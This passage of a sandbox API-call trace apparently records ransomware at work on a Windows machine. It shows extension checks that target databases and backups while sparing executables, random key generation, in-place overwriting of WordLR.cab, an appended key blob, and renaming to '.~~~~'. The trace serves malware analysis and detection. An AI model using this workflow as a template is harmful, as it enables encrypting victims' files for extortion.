	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DB") returned 0x0
	[0066.485] lstrlenW (lpString=".sql") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".sql") returned 0x0
	[0066.485] lstrlenW (lpString=".MYD") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".MYD") returned 0x0
	[0066.485] lstrlenW (lpString=".DBT") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DBT") returned 0x0
	[0066.485] lstrlenW (lpString=".ACCDB") returned 6
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".ACCDB") returned 0x0
	[0066.485] lstrlenW (lpString=".fdb") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".fdb") returned 0x0
	[0066.485] lstrlenW (lpString=".bak") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".bak") returned 0x0
	[0066.485] lstrlenW (lpString=".myd") returned 4
	[0066.485] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".myd") returned 0x0
	[0066.485] lstrlenW (lpString=".DTXS") returned 5
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".DTXS") returned 0x0
	[0066.486] lstrlenW (lpString=".ckp") returned 4
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".ckp") returned 0x0
	[0066.486] lstrlenW (lpString=".dbt") returned 4
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".dbt") returned 0x0
	[0066.486] lstrlenW (lpString=".db") returned 3
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".db") returned 0x0
	[0066.486] lstrlenW (lpString=".TXT") returned 4
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".TXT") returned 0x0
	[0066.486] lstrlenW (lpString=".MDF") returned 4
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".MDF") returned 0x0
	[0066.486] lstrlenW (lpString=".bdb") returned 4
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".bdb") returned 0x0
	[0066.486] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0066.486] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0066.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x27fa398
	[0066.486] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0066.486] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0066.487] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0066.487] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0066.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0066.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0066.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3a6030
	[0066.488] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18647767451) returned 1
	[0066.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x94b07b90, dwHighDateTime=0x1d60e1e)) 
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc40
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0066.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dc40 | out: hHeap=0x300000) returned 1
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x363d38
	[0066.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6538
	[0066.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363d38 | out: hHeap=0x300000) returned 1
	[0066.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7be0
	[0066.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0066.488] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0066.488] GetLastError () returned 0x0
	[0066.488] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.489] GetLastError () returned 0x0
	[0066.489] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] GetLastError () returned 0x0
	[0066.490] SetLastError (dwErrCode=0x0) 
	[0066.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7be0 | out: hHeap=0x300000) returned 1
	[0066.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3c94d0
	[0066.491] ReadFile (in: hFile=0x110, lpBuffer=0x3c94d0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c94d0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0066.496] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0066.496] WriteFile (in: hFile=0x110, lpBuffer=0x3c94d0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3c94d0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0066.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c94d0 | out: hHeap=0x300000) returned 1
	[0066.498] SetFilePointerEx (in: hFile=0x110, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0066.498] WriteFile (in: hFile=0x110, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0066.500] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0066.500] WriteFile (in: hFile=0x110, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0066.500] CloseHandle (hObject=0x110) returned 1
	[0068.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.~~~~")) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0068.179] GetLastError () returned 0x0
	[0068.179] SetLastError (dwErrCode=0x0) 
	[0068.179] GetLastError () returned 0x0
	[0068.179] SetLastError (dwErrCode=0x0) 
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623c0 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623a0 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368ba0 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6030 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa398 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6bc8 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0068.179] RtlWakeConditionVariable () returned 0x365f70
	[0068.179] GetCurrentThreadId () returned 0x9f4
	[0068.179] GetCurrentThreadId () returned 0x9f4
	[0068.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fac20 | out: hHeap=0x300000) returned 1
	[0068.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df18 | out: hHeap=0x300000) returned 1
	[0068.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0068.179] lstrlenW (lpString=".scr") returned 4
	[0068.179] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".scr") returned 0x0
	[0068.179] lstrlenW (lpString=".cmd") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".cmd") returned 0x0
	[0068.180] lstrlenW (lpString=".dll") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dll") returned 0x0
	[0068.180] lstrlenW (lpString=".bat") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".bat") returned 0x0
	[0068.180] lstrlenW (lpString=".cpl") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".cpl") returned 0x0
	[0068.180] lstrlenW (lpString=".sys") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".sys") returned 0x0
	[0068.180] lstrlenW (lpString=".msc") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".msc") returned 0x0
	[0068.180] lstrlenW (lpString=".com") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".com") returned 0x0
	[0068.180] lstrlenW (lpString=".lnk") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".lnk") returned 0x0
	[0068.180] lstrlenW (lpString=".msp") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".msp") returned 0x0
	[0068.180] lstrlenW (lpString=".pif") returned 4
	[0068.180] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".pif") returned 0x0
	[0068.180] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0068.181] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0068.181] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
	[0068.411] lstrlenW (lpString=".sqb") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".sqb") returned 0x0
	[0068.411] lstrlenW (lpString=".ost") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".ost") returned 0x0
	[0068.411] lstrlenW (lpString=".txt") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".txt") returned 0x0
	[0068.411] lstrlenW (lpString=".mdt") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".mdt") returned 0x0
	[0068.411] lstrlenW (lpString=".BDB") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".BDB") returned 0x0
	[0068.411] lstrlenW (lpString=".eql") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".eql") returned 0x0
	[0068.411] lstrlenW (lpString=".DBF") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DBF") returned 0x0
	[0068.411] lstrlenW (lpString=".EQL") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".EQL") returned 0x0
	[0068.411] lstrlenW (lpString=".FDB") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".FDB") returned 0x0
	[0068.411] lstrlenW (lpString=".EDB") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".EDB") returned 0x0
	[0068.411] lstrlenW (lpString=".DACPAC") returned 7
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DACPAC") returned 0x0
	[0068.411] lstrlenW (lpString=".VHD") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".VHD") returned 0x0
	[0068.411] lstrlenW (lpString=".DBV") returned 4
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DBV") returned 0x0
	[0068.411] lstrlenW (lpString=".dacpac") returned 7
	[0068.411] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dacpac") returned 0x0
	[0068.411] lstrlenW (lpString=".sdf") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".sdf") returned 0x0
	[0068.412] lstrlenW (lpString=".accdb") returned 6
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".accdb") returned 0x0
	[0068.412] lstrlenW (lpString=".DBX") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DBX") returned 0x0
	[0068.412] lstrlenW (lpString=".MDT") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".MDT") returned 0x0
	[0068.412] lstrlenW (lpString=".SQB") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".SQB") returned 0x0
	[0068.412] lstrlenW (lpString=".vhd") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".vhd") returned 0x0
	[0068.412] lstrlenW (lpString=".bac") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".bac") returned 0x0
	[0068.412] lstrlenW (lpString=".mdf") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".mdf") returned 0x0
	[0068.412] lstrlenW (lpString=".BAK") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".BAK") returned 0x0
	[0068.412] lstrlenW (lpString=".BAC") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".BAC") returned 0x0
	[0068.412] lstrlenW (lpString=".dbs") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dbs") returned 0x0
	[0068.412] lstrlenW (lpString=".vhdx") returned 5
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".vhdx") returned 0x0
	[0068.412] lstrlenW (lpString=".NDF") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".NDF") returned 0x0
	[0068.412] lstrlenW (lpString=".dat") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dat") returned 0x0
	[0068.412] lstrlenW (lpString=".DBS") returned 4
	[0068.412] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DBS") returned 0x0
	[0068.413] lstrlenW (lpString=".CKP") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".CKP") returned 0x0
	[0068.413] lstrlenW (lpString=".edb") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".edb") returned 0x0
	[0068.413] lstrlenW (lpString=".PST") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".PST") returned 0x0
	[0068.413] lstrlenW (lpString=".dbf") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dbf") returned 0x0
	[0068.413] lstrlenW (lpString=".SQL") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".SQL") returned 0x0
	[0068.413] lstrlenW (lpString=".pst") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".pst") returned 0x0
	[0068.413] lstrlenW (lpString=".dbv") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dbv") returned 0x0
	[0068.413] lstrlenW (lpString=".SDF") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".SDF") returned 0x0
	[0068.413] lstrlenW (lpString=".dtxs") returned 5
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dtxs") returned 0x0
	[0068.413] lstrlenW (lpString=".db3") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".db3") returned 0x0
	[0068.413] lstrlenW (lpString=".OST") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".OST") returned 0x0
	[0068.413] lstrlenW (lpString=".dbx") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".dbx") returned 0x0
	[0068.413] lstrlenW (lpString=".DB3") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DB3") returned 0x0
	[0068.413] lstrlenW (lpString=".DAT") returned 4
	[0068.413] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DAT") returned 0x0
	[0068.414] lstrlenW (lpString=".VHDX") returned 5
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".VHDX") returned 0x0
	[0068.414] lstrlenW (lpString=".ndf") returned 4
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".ndf") returned 0x0
	[0068.414] lstrlenW (lpString=".DB") returned 3
	[0068.414] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi", lpSrch=".DB") returned 0x0
